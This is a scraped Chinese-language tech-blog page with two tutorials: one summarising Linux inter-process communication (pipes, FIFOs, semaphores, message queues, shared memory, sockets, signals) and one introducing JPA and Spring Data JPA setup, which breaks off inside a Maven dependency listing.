分類: 3C資訊

  • Linux 進程間通信(IPC)總結

    Linux 進程間通信(IPC)總結

    概述

    一個大型的應用系統,往往需要眾多進程協作,進程(Linux進程概念見附1)間通信的重要性顯而易見。本系列文章闡述了 Linux 環境下的幾種主要進程間通信手段。

    進程隔離

    進程隔離是為保護操作系統中進程互不干擾而設計的一組不同硬件和軟件的技術。這個技術是為了避免進程A寫入進程B的情況發生。 進程的隔離實現,使用了虛擬地址空間。進程A的虛擬地址和進程B的虛擬地址不同,這樣就防止進程A將數據信息寫入進程B。

    虛擬地址空間

    當創建一個進程時,操作系統會為該進程分配一個 4GB 大小的虛擬進程地址空間。之所以是 4GB ,是因為在 32 位的操作系統中,一個指針長度是 4 字節,而 4 字節指針的尋址能力是從 0x00000000~0xFFFFFFFF ,最大值 0xFFFFFFFF 表示的即為 4GB 大小的容量。與虛擬地址空間相對的,還有一個物理地址空間,這個地址空間對應的是真實的物理內存。要注意的是這個 4GB 的地址空間是“虛擬”的,並不是真實存在的,而且每個進程只能訪問自己虛擬地址空間中的數據,無法訪問別的進程中的數據,通過這種方法實現了進程間的地址隔離。

    針對 Linux 操作系統,將最高的1G字節(從虛擬地址 0xC0000000 到 0xFFFFFFFF )供內核使用,稱為內核空間,而較低的 3G 字節(從虛擬地址 0x00000000 到0xBFFFFFFF),供各個進程使用,稱為用戶空間。每個進程都可以通過系統調用進入到內核。其中在 Linux 系統中,進程的用戶空間是獨立的,而內核空間是共有的,進程切換時,用戶空間切換,內核空間不變

    創建虛擬地址空間目的是為了解決進程地址空間隔離的問題。但程序要想執行,必須運行在真實的內存上,所以,必須在虛擬地址與物理地址間建立一種映射關係。這樣,通過映射機制,當程序訪問虛擬地址空間上的某個地址值時,就相當於訪問了物理地址空間中的另一個值。人們想到了一種分段、分頁的方法,它的思想是在虛擬地址空間和物理地址空間之間做一一映射。這種思想理解起來並不難,操作系統保證不同進程的地址空間被映射到物理地址空間中不同的區域上,這樣每個進程最終訪問到的物理地址空間都是彼此分開的。通過這種方式,就實現了進程間的地址隔離。

     

    系統調用/內核態/用戶態

    雖然從邏輯上抽離出用戶空間和內核空間;但是不可避免的的是,總有那麼一些用戶空間需要訪問內核的資源;比如應用程序訪問文件,網絡是很常見的事情,怎麼辦呢?

    用戶空間訪問內核空間的唯一方式就是系統調用;通過這個統一入口接口,所有的資源訪問都是在內核的控制下執行,以免導致對用戶程序對系統資源的越權訪問,從而保障了系統的安全和穩定。用戶軟件良莠不齊,要是它們亂搞把系統玩壞了怎麼辦?因此對於某些特權操作必須交給安全可靠的內核來執行。

    當一個任務(進程)執行系統調用而陷入內核代碼中執行時,我們就稱進程處於內核運行態(或簡稱為內核態)此時處理器處於特權級最高的(0級)內核代碼中執行。當進程在執行用戶自己的代碼時,則稱其處於用戶運行態(用戶態)。即此時處理器在特權級最低的(3級)用戶代碼中運行。處理器在特權等級高的時候才能執行那些特權CPU指令。

    IPC 通信原理

    理解了上面的幾個概念,我們再來看看進程之間是如何實現通信的。

    通常的做法是消息發送方將要發送的數據存放在內存緩存區中,通過系統調用進入內核態。然後內核程序在內核空間分配內存,開闢一塊內核緩存區,調用 copy_from_user() 函數將數據從用戶空間的內存緩存區拷貝到內核空間的內核緩存區中。同樣的,接收方進程在接收數據時在自己的用戶空間開闢一塊內存緩存區,然後內核程序調用 copy_to_user() 函數將數據從內核緩存區拷貝到接收進程的內存緩存區。這樣數據發送方進程和數據接收方進程就完成了一次數據傳輸,我們稱完成了一次進程間通信。如下圖:

    進程間通信方式

    Linux 進程間基本的通信方式主要有:管道(pipe) (包括匿名管道和命名管道)、信號(signal)、消息隊列(queue)、共享內存、信號量和套接字。

    管道

    管道的實質是一個內核緩衝區(調用 pipe 函數來開闢),管道的作用正如其名,需要通信的兩個進程在管道的兩端,進程利用管道傳遞信息。管道對於管道兩端的進程而言,就是一個文件,但是這個文件比較特殊,它不屬於文件系統並且只存在於內存中。 Linux一切皆文件,操作系統為管道提供操作的方法:文件操作,用 fork 來共享管道原理。

    管道依據是否有名字分為匿名管道和命名管道(有名管道),這兩種管道有一定的區別。

    匿名管道有幾個重要的限制:

    1. 管道是半雙工的,數據只能在一個方向上流動,A進程傳給B進程,不能反向傳遞
    2. 管道只能用於父子進程或兄弟進程之間的通信,即具有親緣關係的進程。

    命名管道允許沒有親緣關係的進程進行通信。命名管道不同於匿名管道之處在於它提供了一個路徑名與之關聯,這樣一個進程即使與創建有名管道的進程不存在親緣關係,只要可以訪問該路徑,就能通過有名管道互相通信。

    pipe 函數接受一個參數,是包含兩個整數的數組,如果調用成功,會通過 pipefd[2] 傳出給用戶程序兩個文件描述符,需要注意 pipefd[0] 指向管道的讀端, pipefd[1] 指向管道的寫端,那麼此時這個管道對於用戶程序就是一個文件,可以通過 read(pipefd [0]);或者 write(pipefd [1]) 進行操作。pipe 函數調用成功返回 0,否則返回 -1.

    那麼再來看看通過管道進行通信的步驟:

    • 父進程創建管道,得到兩個文件描述符指向管道的兩端
    • 利用fork函數創建齣子進程,則子進程也得到兩個文件描述符指向同一管道
    • 父進程關閉讀端(pipe[0]),子進程關閉寫端pipe[1],則此時父進程可以往管道中進行寫操作,子進程可以從管道中讀,從而實現了通過管道的進程間通信。

         

    管道的特點:

    • 只能單向通信

    兩個文件描述符,用一個,另一個不用,不用的文件描述符就要 close

    • 只能血緣關係的進程進行通信

    • 依賴於文件系統

    • 生命周期隨進程

    • 面向字節流的服務

    面向字節流:數據無規則,沒有明顯邊界,收發數據比較靈活:對於用戶態,可以一次性發送也可以分次發送,當然接受數據也如此;而面向數據報:數據有明顯邊界,數據只能整條接受 

    • 管道內部提供了同步機制

    臨界資源: 大家都能訪問到的共享資源

    臨界區: 對臨界資源進行操作的代碼

    同步: 臨界資源訪問的可控時序性(一個操作完另一個才可以操作)

    互斥: 對臨界資源同一時間的唯一訪問性(保護臨界資源安全)

    說明:因為管道通信是單向的,在上面的例子中我們是通過子進程寫父進程來讀,如果想要同時父進程寫而子進程來讀,就需要再打開另外的管道;

    管道的讀寫端通過打開的文件描述符來傳遞,因此要通信的兩個進程必須從它們的公共祖先那裡繼承管道的件描述符。 上面的例子是父進程把文件描述符傳給子進程之後父子進程之 間通信,也可以父進程fork兩次,把文件描述符傳給兩個子進程,然後兩個子進程之間通信, 總之 需要通過fork傳遞文件描述符使兩個進程都能訪問同一管道,它們才能通信。

    四個特殊情況:

    1. 如果所有指向管道寫端的文件描述符都關閉了,而仍然有進程從管道的讀端讀數據,那麼管道中剩餘的數據都被讀取后,再次read會返回0,就像讀到文件末尾一樣

    2. 如果有指向管道寫端的文件描述符沒關閉,而持有管道寫端的進程也沒有向管道中寫數據,這時有進程從管道讀端讀數據,那麼管道中剩餘的數據都被讀取后,再次read會阻塞,直到管道中有數據可讀了才讀取數據並返回。

    3. 如果所有指向管道讀端的文件描述符都關閉了,這時有進程指向管道的寫端write,那麼該進程會收到信號SIGPIPE,通常會導致進程異常終止。

    4. 如果有指向管道讀端的文件描述符沒關閉,而持有管道寫端的進程也沒有從管道中讀數據,這時有進程向管道寫端寫數據,那麼在管道被寫滿時再write會阻塞,直到管道中有空位置了才寫入數據並返回。

    命名管道FIFO

    在管道中,只有具有血緣關係的進程才能進行通信,對於後來的命名管道,就解決了這個問題。FIFO 不同於管道之處在於它提供一個路徑名與之關聯,以 FIFO 的文件形式存儲於文件系統中。命名管道是一個設備文件,因此,即使進程與創建FIFO的進程不存在親緣關係,只要可以訪問該路徑,就能夠通過 FIFO 相互通信。值得注意的是, FIFO (first input first output) 總是按照先進先出的原則工作,第一個被寫入的數據將首先從管道中讀出。

    命名管道的創建

    創建命名管道的系統函數有兩個: mknod 和 mkfifo。兩個函數均定義在頭文件 sys/stat.h,
    函數原型如下:

    #include <sys/types.h>
    #include <sys/stat.h>
    int mknod(const char *path,mode_t mod,dev_t dev);
    int mkfifo(const char *path,mode_t mode);

    函數 mknod 參數中 path 為創建的命名管道的全路徑名: mod 為創建的命名管道的模指明其存取權限; dev 為設備值,該值取決於文件創建的種類,它只在創建設備文件時才會用到。這兩個函數調用成功都返回 0,失敗都返回 -1。

    命名管道打開特性:

    1. 如果用只讀打開命名管道,open 函數將阻塞等待直至有其他進程以寫的方式打開這個命名管道,如果沒有進程以寫的方式發開這個命名管道,程序將停在此處

    2. 如果用只寫打開命名管道,open 函數將阻塞等到直至有其他進程以讀的方式打開這個命名管道,如果沒有進程以讀的方式發開這個命名管道,程序將停在此處;

    3. 如果用讀寫打開命名管道,則不會阻塞(但是管道是單向)

    System V IPC   

    IPC(Inter-Process Communication)是指多個進程之間相互通信,交換信息的方法,System V 是 Unix 操作系統最早的商業發行版,由 AT&T(American Telephone & Telegraph)開發。System V IPC 是指 Linux 引入自 System V 的進程通信機制,一共有三種:

    • 信號量,用來管理對共享資源的訪問;

    • 共享內存,用來高效地實現進程間的數據共享;

    • 消息隊列,用來實現進程間數據的傳遞。

    這三種統稱 IPC 資源,每個 IPC 資源都是請求時動態創建的,都是永駐內存,除非被進程显示釋放,都是可以被任一進程使用。每個 IPC 資源都使用一個 32 位的 IPC 關鍵字和 32 位的 IPC 標識符,前者類似文件系統中的路徑名,由程序自由定製,後者類似打開文件的文件描述符,由內核統一分配,在系統內部是唯一的,當多個進程使用同一個IPC資源通信時需要該資源的 IPC 標識符。     

    創建新的 IPC 資源時需要指定 IPC 關鍵字,如果沒有與之關聯的 IPC 資源,則創建一個新的 IPC 資源;如果已經存在,則判斷當前進程是否具有訪問權限,是否超過資源使用限制等,如果符合條件則返回該資源的 IPC 標識符。為了避免兩個不同的 IPC 資源使用相同的 IPC 關鍵字,創建時可以指定IPC關鍵字為 IPC_PRIVATE,由內核負責生成一個唯一的關鍵字。   

    創建新的 IPC 資源時最後一個參數可以包括三個標誌,PC_CREAT 說明如果IPC資源不存在則必須創建它,IPC_EXCL 說明如果資源已經存在且設置了 PC_CREAT 標誌則創建失敗,IPC_NOWAIT 說明訪問 IPC 資源時進程從不阻塞。 

    信號量

    信號量(semaphore)是一種用於提供不同進程之間或者一個給定的不同線程間同步手段的原語。信號量多用於進程間的同步與互斥,簡單的說一下同步和互斥的意思:

    同步:處理競爭就是同步,安排進程執行的先後順序就是同步,每個進程都有一定的先後執行順序。

    互斥:互斥訪問不可共享的臨界資源,同時會引發兩個新的控制問題(互斥可以說是特殊的同步)。

    競爭:當併發進程競爭使用同一個資源的時候,我們就稱為競爭進程。

    共享資源通常分為兩類:一類是互斥共享資源,即任一時刻只允許一個進程訪問該資源;另一類是同步共享資源,即同一時刻允許多個進程訪問該資源;信號量是解決互斥共享資源的同步問題而引入的機制。

    下面說一下信號量的工作機制,可以直接理解成計數器(當然其實加鎖的時候肯定不能這麼簡單,不只只是信號量了),信號量會有初值(>0),每當有進程申請使用信號量,通過一個 P 操作來對信號量進行-1操作,當計數器減到 0 的時候就說明沒有資源了,其他進程要想訪問就必須等待(具體怎麼等還有說法,比如忙等待或者睡眠),當該進程執行完這段工作(我們稱之為臨界區)之後,就會執行 V 操作來對信號量進行 +1 操作。

    • 臨界區:臨界區指的是一個訪問共用資源(例如:共用設備或是共用存儲器)的程序片段,而這些共用資源又無法同時被多個線程訪問的特性。

    • 臨界資源:只能被一個進程同時使用(不可以多個進程共享),要用到互斥。

    我們可以說信號量也是進程間通信的一種方式,比如互斥鎖的簡單實現就是信號量,一個進程使用互斥鎖,並通知(通信)其他想要該互斥鎖的進程,阻止他們的訪問和使用。

    當有進程要求使用共享資源時,需要執行以下操作:

    1. 系統首先要檢測該資源的信號量;

    2. 若該資源的信號量值大於 0,則進程可以使用該資源,此時,進程將該資源的信號量值減1;

    3. 若該資源的信號量值為 0,則進程進入休眠狀態,直到信號量值大於 0 時進程被喚醒,訪問該資源;

           當進程不再使用由一個信號量控制的共享資源時,該信號量值增加 1,如果此時有進程處於休眠狀態等待此信號量,則該進程會被喚醒

    每個信號量集都有一個與其相對應的結構,該結構定義如下:

    /* Data structure describing a set of semaphores.  */  
    struct semid_ds  
    {  
        struct ipc_perm sem_perm;   /* operation permission struct */  
        struct sem *sem_base;       /* ptr to array of semaphores in set */  
        unsigned short sem_nsems;   /* # of semaphores in set */  
        time_t sem_otime;           /* last-semop() time */  
        time_t sem_ctime;           /* last-change time */  
    };  
      
    /* Data structure describing each of semaphores.  */  
    struct sem  
    {  
        unsigned short semval;  /* semaphore value, always >= 0 */  
        pid_t          sempid;  /* pid for last successful semop(), SETVAL, SETALL */  
        unsigned short semncnt; /* # processes awaiting semval > curval */  
        unsigned short semzcnt; /* # processes awaiting semval == 0 */  
    };  

    信號量集的結構圖如下所示:

    消息隊列

    消息隊列,是消息的鏈接表,存放在內核中。一個消息隊列由一個標識符(即隊列 ID)來標識。其具有以下特點:

    1. 消息隊列是面向記錄的,其中的消息具有特定的格式以及特定的優先級。

    2. 消息隊列獨立於發送與接收進程。進程終止時,消息隊列及其內容並不會被刪除。

    3. 消息隊列可以實現消息的隨機查詢,消息不一定要以先進先出的次序讀取,也可以按消息的類型讀取。

    原型

    1 #include <sys/msg.h>
    2 // 創建或打開消息隊列:成功返回隊列ID,失敗返回-1
    3 int msgget(key_t key, int flag);
    4 // 添加消息:成功返回0,失敗返回-1
    5 int msgsnd(int msqid, const void *ptr, size_t size, int flag);
    6 // 讀取消息:成功返回消息數據的長度,失敗返回-1
    7 int msgrcv(int msqid, void *ptr, size_t size, long type,int flag);
    8 // 控制消息隊列:成功返回0,失敗返回-1
    9 int msgctl(int msqid, int cmd, struct msqid_ds *buf);

    在以下兩種情況下,msgget 將創建一個新的消息隊列:

    • 如果沒有與鍵值key相對應的消息隊列,並且flag中包含了IPC_CREAT標誌位。

    • key參數為IPC_PRIVATE

    函數msgrcv在讀取消息隊列時,type參數有下面幾種情況:

    • type == 0,返回隊列中的第一個消息;

    • type > 0,返回隊列中消息類型為 type 的第一個消息;

    • type < 0,返回隊列中消息類型值小於或等於 type 絕對值的消息,如果有多個,則取類型值最小的消息。

    可以看出,type 值非 0 時用於以非先進先出次序讀消息。也可以把 type 看做優先級的權值。

    共享內存

    共享內存是 System V 版本的最後一個進程間通信方式。共享內存,顧名思義就是允許兩個不相關的進程訪問同一個邏輯內存,共享內存是兩個正在運行的進程之間共享和傳遞數據的一種非常有效的方式。不同進程之間共享的內存通常為同一段物理內存。進程可以將同一段物理內存連接到他們自己的地址空間中,所有的進程都可以訪問共享內存中的地址。如果某個進程向共享內存寫入數據,所做的改動將立即影響到可以訪問同一段共享內存的任何其他進程。

    特別提醒:共享內存並未提供同步機制,也就是說,在第一個進程結束對共享內存的寫操作之前,並無自動機制可以阻止第二個進程開始對它進行讀取,所以我們通常需要用其他的機制來同步對共享內存的訪問,例如信號量。

    共享內存的通信原理
    在 Linux 中,每個進程都有屬於自己的進程控制塊(PCB)和地址空間(Addr Space),並且都有一個與之對應的頁表,負責將進程的虛擬地址與物理地址進行映射,通過內存管理單元(MMU)進行管理。兩個不同的虛擬地址通過頁表映射到物理空間的同一區域,它們所指向的這塊區域即共享內存。

    共享內存的通信原理示意圖:

     

    對於上圖我的理解是:當兩個進程通過頁表將虛擬地址映射到物理地址時,在物理地址中有一塊共同的內存區,即共享內存,這塊內存可以被兩個進程同時看到。這樣當一個進程進行寫操作,另一個進程讀操作就可以實現進程間通信。但是,我們要確保一個進程在寫的時候不能被讀,因此我們使用信號量來實現同步與互斥。

    對於一個共享內存,實現採用的是引用計數的原理,當進程脫離共享存儲區后,計數器減一,掛架成功時,計數器加一,只有當計數器變為零時,才能被刪除。當進程終止時,它所附加的共享存儲區都會自動脫離。

    為什麼共享內存速度最快?

    藉助上圖說明:Proc A 進程給內存中寫數據, Proc B 進程從內存中讀取數據,在此期間一共發生了兩次複製

    (1)Proc A 到共享內存       (2)共享內存到 Proc B

    因為直接在內存上操作,所以共享內存的速度也就提高了。

    共享內存的接口函數以及指令

    查看系統中的共享存儲段

    ipcs -m

    刪除系統中的共享存儲段

    ipcrm -m [shmid]

    shmget ( ):創建共享內存

    int shmget(key_t key, size_t size, int shmflg);

    [參數key]:由ftok生成的key標識,標識系統的唯一IPC資源。

    [參數size]:需要申請共享內存的大小。在操作系統中,申請內存的最小單位為頁,一頁是4k字節,為了避免內存碎片,我們一般申請的內存大小為頁的整數倍。

    [參數shmflg]:如果要創建新的共享內存,需要使用IPC_CREAT,IPC_EXCL,如果是已經存在的,可以使用IPC_CREAT或直接傳0。

    [返回值]:成功時返回一個新建或已經存在的的共享內存標識符,取決於shmflg的參數。失敗返回-1並設置錯誤碼。

    shmat ( ):掛接共享內存

    void *shmat(int shmid, const void *shmaddr, int shmflg);

    [參數shmid]:共享存儲段的標識符。

    [參數*shmaddr]:shmaddr = 0,則存儲段連接到由內核選擇的第一個可以地址上(推薦使用)。

    [參數shmflg]:若指定了SHM_RDONLY位,則以只讀方式連接此段,否則以讀寫方式連接此段。

    [返回值]:成功返回共享存儲段的指針(虛擬地址),並且內核將使其與該共享存儲段相關的shmid_ds結構中的shm_nattch計數器加1(類似於引用計數);出錯返回-1。

    shmdt ( ):去關聯共享內存:當一個進程不需要共享內存的時候,就需要去關聯。該函數並不刪除所指定的共享內存區,而是將之前用shmat函數連接好的共享內存區脫離目前的進程。

    int shmdt(const void *shmaddr);

    [參數*shmaddr]:連接以後返回的地址。

    [返回值]:成功返回0,並將shmid_ds結構體中的 shm_nattch計數器減1;出錯返回-1。

    shmctl ( ):銷毀共享內存

    int shmctl(int shmid, int cmd, struct shmid_ds *buf);

    [參數shmid]:共享存儲段標識符。

    [參數cmd]:指定的執行操作,設置為IPC_RMID時表示可以刪除共享內存。

    [參數*buf]:設置為NULL即可。

    [返回值]:成功返回0,失敗返回-1。

    POSIX 消息隊列   

    POSIX 消息隊列是 POSIX 標準在 2001 年定義的一種 IPC 機制,與 System V 中的消息隊列相比有如下差異:

    • 更簡單的基於文件的應用接口,Linux 通過 mqueue 的特殊文件系統來實現消息隊列,隊列名跟文件名類似,必須以”/”開頭,每個消息隊列在文件系統內都有一個對應的索引節點,返回的隊列描述符實際是一個文件描述符

    • 完全支持消息優先級,消息在隊列中是按照優先級倒序排列的(即0表示優先級最低)。當一條消息被添加到隊列中時,它會被放置在隊列中具有相同優先級的所有消息之後。如果一個應用程序無需使用消息優先級,那麼只需要將msg_prio指定為0即可。

    • 完全支持消息到達的異步通知,當新消息到達且當前隊列為空時會通知之前註冊過表示接受通知的進程。在任何一個時刻都只有一個進程能夠向一個特定的消息隊列註冊接收通知。如果一個消息隊列上已經存在註冊進程了,那麼後續在該隊列上的註冊請求將會失敗。可以給進程發送信號或者另起一個線程調用通知函數完成通知。當通知完成時,註冊即被撤銷,進程需要繼續接受通知則必須重新註冊。

    • 用於阻塞發送與接收操作的超時機制,可以指定阻塞的最長時間,超時自動返回 

    套接字:

    套接字是更為基礎的進程間通信機制,與其他方式不同的是,套接字可用於不同機器之間的進程間通信。

    有兩種類型的套接字:基於文件的和面向網絡的。

    • Unix 套接字是基於文件的,並且擁有一個“家族名字”–AF_UNIX,它代表地址家族 (address family):UNIX。

    • 第二類型的套接字是基於網絡的,它也有自己的家族名字–AF_INET,代表地址家族 (address family):INTERNET

    不管採用哪種地址家族,都有兩種不同的套接字連接:面向連接的和無連接的。

    • 面向連接的套接字 (SOCK_STREAM):進行通信前必須建立一個連接,面向連接的通信提供序列化的、可靠地和不重複的數據交付,而沒有記錄邊界。

    這意味着每條信息可以被拆分成多個片段,並且每個片段都能確保到達目的地,然後在目的地將信息拼接起來。

    實現這種連接類型的主要協議是傳輸控制協議 (TCP)。

    • 無連接的套接字 (SOCK_DGRAM):在通信開始之前並不需要建立連接,在數據傳輸過程中並無法保證它的順序性、可靠性或重複性。

    然而,數據報確實保存了記錄邊界,這就意味着消息是以整體發送的,而並非首先分成多個片段。

    由於面向連接的套接字所提供的保證,因此它們的設置以及對虛擬電路連接的維護需要大量的開銷。然而,數據報不需要這些開銷,即它的成本更加“低廉”

    實現這種連接類型的主要協議是用戶數據報協議 (UDP)。

    信號

    信號是軟件層次上對中斷機制的一種模擬,是一種異步通信方式,進程不必通過任何操作來等待信號的到達。信號可以在用戶空間進程和內核之間直接交互,內核可以利用信號來通知用戶空間的進程發生了哪些系統事件。

    信號來源:

    信號事件的發生有兩個來源:硬件來源,比如我們按下了鍵盤或者其它硬件故障;軟件來源,最常用發送信號的系統函數是 kill, raise, alarm 和 setitimer 以及 sigqueue 函數,軟件來源還包括一些非法運算等操作。

    進程對信號的響應:

    進程可以通過三種方式來響應信號:

    • 忽略信號,即對信號不做任何處理,但是有兩個信號是不能忽略的:SIGKLL 和 SIGSTOP;

    • 捕捉信號,定義信號處理函數,當信號發生時,執行相應的處理函數;

    • 執行缺省操作,Linux 對每種信號都規定了默認操作。

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※超省錢租車方案

    ※別再煩惱如何寫文案,掌握八大原則!

    ※回頭車貨運收費標準

    ※教你寫出一流的銷售文案?

    FB行銷專家,教你從零開始的技巧

  • Spring Data JPA

    Spring Data JPA

    一、JPA概述:

      JPA的全稱是Java Persistence API, 即Java 持久化API,是SUN公司推出的一套基於ORM的規範,內部是由一系列的接口和抽象類構成。JPA通過JDK 5.0註解描述對象-關係表的映射關係,並將運行期的實體對象持久化到數據庫中。

      JPA的優勢:標準化、容器級特性的支持、簡單方便、查詢能力、高級特性

    二、JPA與Hibernate的關係:

      JPA規範本質上就是一種ORM規範,注意不是ORM框架——因為JPA並未提供ORM實現,它只是制訂了一些規範,提供了一些編程的API接口,但具體實現則由服務廠商來提供實現。JPAHibernate的關係就像JDBCJDBC驅動的關係,JPA是規範,Hibernate除了作為ORM框架之外,它也是一種JPA實現。

     

     

     

    三、JPA環境搭建:

    1、創建一個maven工程,在pom.xml中導入對應的坐標

     1    <properties>
     2         <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
     3         <project.hibernate.version>5.0.7.Final</project.hibernate.version>
     4     </properties>
     5 
     6     <dependencies>
     7         <!-- junit -->
     8         <dependency>
     9             <groupId>junit</groupId>
    10             <artifactId>junit</artifactId>
    11             <version>4.12</version>
    12             <scope>test</scope>
    13         </dependency>
    14 
    15         <!-- hibernate對jpa的支持包 -->
    16         <dependency>
    17             <groupId>org.hibernate</groupId>
    18             <artifactId>hibernate-entitymanager</artifactId>
    19             <version>${project.hibernate.version}</version>
    20         </dependency>
    21 
    22         <!-- c3p0 -->
    23         <dependency>
    24             <groupId>org.hibernate</groupId>
    25             <artifactId>hibernate-c3p0</artifactId>
    26             <version>${project.hibernate.version}</version>
    27         </dependency>
    28 
    29         <!-- log日誌 -->
    30         <dependency>
    31             <groupId>log4j</groupId>
    32             <artifactId>log4j</artifactId>
    33             <version>1.2.17</version>
    34         </dependency>
    35 
    36         <!-- Mysql and MariaDB -->
    37         <dependency>
    38             <groupId>mysql</groupId>
    39             <artifactId>mysql-connector-java</artifactId>
    40             <version>5.1.6</version>
    41         </dependency>
    42     </dependencies>

    2、編寫實體類和數據表的映射配置,創建實體類以後,使用對應的註釋配置映射關係

         @Entity
                作用:指定當前類是實體類。
            @Table
                作用:指定實體類和表之間的對應關係。
                屬性:
                    name:指定數據庫表的名稱
            @Id
                作用:指定當前字段是主鍵。
            @GeneratedValue
                作用:指定主鍵的生成方式。。
                屬性:
                    strategy :指定主鍵生成策略。
            @Column
                作用:指定實體類屬性和數據庫表之間的對應關係
                屬性:
                    name:指定數據庫表的列名稱。
                    unique:是否唯一  
                    nullable:是否可以為空  
                    inserttable:是否可以插入  
                    updateable:是否可以更新  
                    columnDefinition: 定義建表時創建此列的DDL  
                    secondaryTable: 從表名。如果此列不建在主表上(默認建在主表),該屬性定義該列所在從表的名字搭建開發環境[重點]

    3、配置JPA的核心配置文件

    在java工程的src路徑下創建一個名為META-INF的文件夾,在此文件夾下創建一個名為persistence.xml的配置文件

    <?xml version="1.0" encoding="UTF-8"?>
    <persistence xmlns="http://java.sun.com/xml/ns/persistence"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://java.sun.com/xml/ns/persistence  
        http://java.sun.com/xml/ns/persistence/persistence_2_0.xsd"
        version="2.0">
        <!--配置持久化單元 
            name:持久化單元名稱 
            transaction-type:事務類型
                 RESOURCE_LOCAL:本地事務管理 
                 JTA:分佈式事務管理 -->
        <persistence-unit name="myJpa" transaction-type="RESOURCE_LOCAL">
            <!--配置JPA規範的服務提供商 -->
            <provider>org.hibernate.jpa.HibernatePersistenceProvider</provider>
            <properties>
                <!-- 數據庫驅動 -->
                <property name="javax.persistence.jdbc.driver" value="com.mysql.jdbc.Driver" />
                <!-- 數據庫地址 -->
                <property name="javax.persistence.jdbc.url" value="jdbc:mysql://localhost:3306/jpa" />
                <!-- 數據庫用戶名 -->
                <property name="javax.persistence.jdbc.user" value="root" />
                <!-- 數據庫密碼 -->
                <property name="javax.persistence.jdbc.password" value="111111" />
    
                <!--jpa提供者的可選配置:我們的JPA規範的提供者為hibernate,所以jpa的核心配置中兼容hibernate的配 -->
    <property name="hibernate.show_sql" value="true" /> <property name="hibernate.format_sql" value="true" />
            
           <!--自動創建數據庫表:create(運行時創建表),update(如過有表則不創建表),none(不創建表) <property name="hibernate.hbm2ddl.auto" value="create" /> </properties> </persistence-unit> </persistence>

    4、測試數據庫操作

    通過調用EntityManager的方法完成獲取事務,以及持久化數據庫的操作

    方法說明:    
        getTransaction : 獲取事務對象
        persist : 保存操作
        merge : 更新操作
        remove : 刪除操作
        find/getReference : 根據id查詢
     1 @Test
     2     public void test() {
     3         /**
     4          * 創建實體管理類工廠,藉助Persistence的靜態方法獲取
     5          *         其中傳遞的參數為持久化單元名稱,需要jpa配置文件中指定
     6          */
     7         EntityManagerFactory factory = Persistence.createEntityManagerFactory("myJpa");
     8         //創建實體管理類
     9         EntityManager em = factory.createEntityManager();
    10         //獲取事務對象
    11         EntityTransaction tx = em.getTransaction();
    12         //開啟事務
    13         tx.begin();
    14         Customer c = new Customer();
    15         c.setCustName("天地壹號");
    16         //保存操作
    17         em.persist(c);
    18         //提交事務
    19         tx.commit();
    20         //釋放資源
    21         em.close();
    22         factory.close();
    23     }

    6、抽取JPAUtil工具類,通過工具類生成實體類管理器對象

    package top.biyenanhai.dao;
    
    import javax.persistence.EntityManager;
    import javax.persistence.EntityManagerFactory;
    import javax.persistence.Persistence;
    
    public final class JPAUtil {
        // JPA的實體管理器工廠:相當於Hibernate的SessionFactory
        private static EntityManagerFactory em;
        // 使用靜態代碼塊賦值
        static {
            // 注意:該方法參數必須和persistence.xml中persistence-unit標籤name屬性取值一致
            em = Persistence.createEntityManagerFactory("myPersistUnit");
        }
    
        /**
         * 使用管理器工廠生產一個管理器對象
         * 
         * @return
         */
        public static EntityManager getEntityManager() {
            return em.createEntityManager();
        }
    }

     

    三、Spring Data JPA概述:

      Spring Data JPA 是 Spring 基於 ORM 框架、JPA 規範的基礎上封裝的一套JPA應用框架,可使開發者用極簡的代碼即可實現對數據庫的訪問和操作。它提供了包括增刪改查等在內的常用功能,且易於擴展!學習並使用 Spring Data JPA 可以極大提高開發效率!Spring Data JPA 讓我們解脫了DAO層的操作,基本上所有CRUD都可以依賴於它來實現,在實際的工作工程中,推薦使用Spring Data JPA + ORM(如:hibernate)完成操作,這樣在切換不同的ORM框架時提供了極大的方便,同時也使數據庫層操作更加簡單,方便解耦。

    四、Spring Data JPA 與 JPA和hibernate之間的關係:

      JPA是一套規範,內部是有接口和抽象類組成的。hibernate是一套成熟的ORM框架,而且Hibernate實現了JPA規範,所以也可以稱hibernate為JPA的一種實現方式,我們使用JPA的API編程,意味着站在更高的角度上看待問題(面向接口編程)。Spring Data JPA是Spring提供的一套對JPA操作更加高級的封裝,是在JPA規範下的專門用來進行數據持久化的解決方案。

    五、Spring Data JPA快速搭建開發環境:

    1、創建maven工程,導入Spring Data JPA的坐標

      1    <properties>
      2         <spring.version>4.2.4.RELEASE</spring.version>
      3         <hibernate.version>5.0.7.Final</hibernate.version>
      4         <slf4j.version>1.6.6</slf4j.version>
      5         <log4j.version>1.2.12</log4j.version>
      6         <c3p0.version>0.9.1.2</c3p0.version>
      7         <mysql.version>5.1.6</mysql.version>
      8     </properties>
      9 
     10     <dependencies>
     11         <!-- junit單元測試 -->
     12         <dependency>
     13             <groupId>junit</groupId>
     14             <artifactId>junit</artifactId>
     15             <version>4.12</version>
     16             <scope>test</scope>
     17         </dependency>
     18         
     19         <!-- spring beg -->
     20         <dependency>
     21             <groupId>org.aspectj</groupId>
     22             <artifactId>aspectjweaver</artifactId>
     23             <version>1.6.8</version>
     24         </dependency>
     25 
     26         <dependency>
     27             <groupId>org.springframework</groupId>
     28             <artifactId>spring-aop</artifactId>
     29             <version>${spring.version}</version>
     30         </dependency>
     31 
     32         <dependency>
     33             <groupId>org.springframework</groupId>
     34             <artifactId>spring-context</artifactId>
     35             <version>${spring.version}</version>
     36         </dependency>
     37 
     38         <dependency>
     39             <groupId>org.springframework</groupId>
     40             <artifactId>spring-context-support</artifactId>
     41             <version>${spring.version}</version>
     42         </dependency>
     43 
     44         <dependency>
     45             <groupId>org.springframework</groupId>
     46             <artifactId>spring-orm</artifactId>
     47             <version>${spring.version}</version>
     48         </dependency>
     49 
     50         <dependency>
     51             <groupId>org.springframework</groupId>
     52             <artifactId>spring-beans</artifactId>
     53             <version>${spring.version}</version>
     54         </dependency>
     55 
     56         <dependency>
     57             <groupId>org.springframework</groupId>
     58             <artifactId>spring-core</artifactId>
     59             <version>${spring.version}</version>
     60         </dependency>
     61         
     62         <!-- spring end -->
     63 
     64         <!-- hibernate beg -->
     65         <dependency>
     66             <groupId>org.hibernate</groupId>
     67             <artifactId>hibernate-core</artifactId>
     68             <version>${hibernate.version}</version>
